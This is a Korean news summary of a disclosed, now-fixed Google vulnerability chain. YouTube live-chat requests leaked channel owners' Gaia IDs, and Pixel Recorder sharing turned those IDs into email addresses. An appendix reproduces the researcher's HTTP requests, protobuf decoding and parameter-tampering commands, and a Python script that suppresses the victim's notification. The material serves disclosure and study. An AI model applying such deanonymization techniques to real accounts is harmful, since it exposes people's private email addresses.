원문 캡처 · brutecat.com
원문 캡처 · brutecat.com

보안 연구자는 유튜브 채널의 구글 계정 식별자를 알아낸 뒤, 구글 Pixel Recorder의 취약한 공유 기능을 이용해 이메일 주소를 확인할 수 있는 공격 경로를 발견했다고 밝혔다. 구글은 두 취약점을 수정했으며, 제보자에게 총 1만633달러를 지급했다.

유튜브 라이브 채팅 메뉴를 여는 요청에는 대상 채널의 ID가 포함됐다. 연구자는 요청 매개변수를 조작해 라이브 채팅 메시지가 없는 자동 생성 주제 채널에서도 구글 계정의 난독화된 식별자(Gaia ID)를 알아낼 수 있었다고 설명했다.

이어 Pixel Recorder에서 녹음 파일을 공유하는 기능이 Gaia ID를 받아 이메일 주소를 반환하는 점을 확인했다. 공유 알림 이메일이 대상에게 전송되는 것을 막기 위해 녹음 제목을 250만 글자로 늘렸고, 이 경우 알림 이메일이 오지 않았다고 연구자는 밝혔다. 이 방법으로 유튜브 채널의 Gaia ID를 이메일 주소와 연결할 수 있었다는 설명이다.

제보자는 2024년 9월 15일 구글에 취약점을 신고했다. 구글은 2024년 11월 5일 3,133달러를 지급했고, 12월 12일 추가로 7,500달러를 지급했다. 제보자는 2025년 2월 9일 두 취약점이 모두 수정됐다는 확인을 구글에 전달했으며, 2월 12일 내용을 공개했다.

부록: 원문 예시

text
"BlockedTarget": {
 "id": "BlockedTarget",
 "description": "The target of a user-to-user block, used to specify creation/deletion of blocks.",
 "type": "object",
 "properties": {
 "profileId": {
 "description": "Required. The obfuscated Gaia ID of the user targeted by the block.",
 "type": "string"
 },
 "fallbackName": {
 "description": "Required for `BlockPeopleRequest`. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: * Required for `BlockPeopleRequest` (may not currently be enforced by validation, but should be provided) * For `UnblockPeopleRequest` this does not need to be set.",
 "type": "string"
 }
 }
 },
text
POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2
Host: www.youtube.com
Cookie: <redacted>
text
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2

{
 ...
 "serviceEndpoint": {
 ...
 "commandMetadata": {
 "webCommandMetadata": {
 "sendPost": true,
 "apiUrl": "/youtubei/v1/live_chat/moderate"
 }
 },
 "moderateLiveChatEndpoint": {
 "params": "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="
 }
 }
 ...
}
text
$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
 5 {
 1: "UChs0pSaEoNLV4mevBFGaoKA"
 2: "36YnV9STBqc"
 }
}
10: 0
11: 1
12 {
 1: "113907466537670370590"
 2: "SE-aYOb-uCg059qHRis_ow"
}
14: 0
text
$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
3 {
 5 {
 1: "UChs0pSaEoNLV4mevBFGaoKA"
 2: "36YnV9STBqc"
 }
}
6 {
 1: "UCSE-aYOb-uCg059qHRis_ow"
}
text
$ echo -n "<SNIP>" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64
R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=
text
...
"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}
...
text
echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
 5 {
 1: "UChs0pSaEoNLV4mevBFGaoKA"
 2: "36YnV9STBqc"
 }
}
10: 0
11: 1
12 {
 1: "103261974221829892167"
 2: "D2LZAT1j1DyVXq2R2BdusQ"
}
14: 0
text
POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2
Host: pixelrecorder-pa.clients6.google.com
Cookie: <redacted>
Content-Length: 80
Authorization: <redacted>
X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro
Content-Type: application/json+protobuf
Referer: https://recorder.google.com/

["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]
text
HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"vrptest2@gmail.com"]]]
text
HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"redacted@gmail.com"],[null,2,"vrptest2@gmail.com"]]]
text
syntax = "proto3";

package java.com.google.wireless.android.pixel.recorder.protos;

import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto";

message WriteShareListRequest {
 string recording_id = 1;
 string delete_obfuscated_gaia_ids = 2;
 ShareUser update_shared_users = 3;
 string sharing_message = 4;
}

message ShareUser {
 string obfuscated_gaia_id = 1;
 java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2;
 string email = 3;
}
text
import requests

BASE_URL = "https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/"

headers = {
 "Host": "pixelrecorder-pa.clients6.google.com",
 "Content-Type": "application/json+protobuf",
 "X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro",
 "Origin": "https://recorder.google.com"
}

def get_recording_uuid(share_id: str):
 payload = f"[\"{share_id}\"]"
 response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload)
 if response.status_code != 200:
 print("unknown error when getting recording uuid: ", response.json())
 exit(1)
 try:
 response = response.json()
 except:
 print('can\'t parse response when getting recording uuid: ', response.text)
 exit(1)

 return response["recording"]["uuid"]

def update_recording_title(share_id: str):
 x = 'X'*2500000 
 payload = f'["{share_id}","{x}"]'
 response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload)
 if response.status_code != 200:
 print("unknown error when updating recording title: ", response.json())
 exit(1)

def main():
 share_id = input("Enter share ID: ")
 headers["Cookie"] = input("Cookie header:" )
 headers["Authorization"] = input("Authorization header: ")
 uuid = get_recording_uuid(share_id)
 print("UUID:", uuid)
 update_recording_title(uuid)
 print("Updated recording title successfully.")

if __name__ == "__main__":
 main()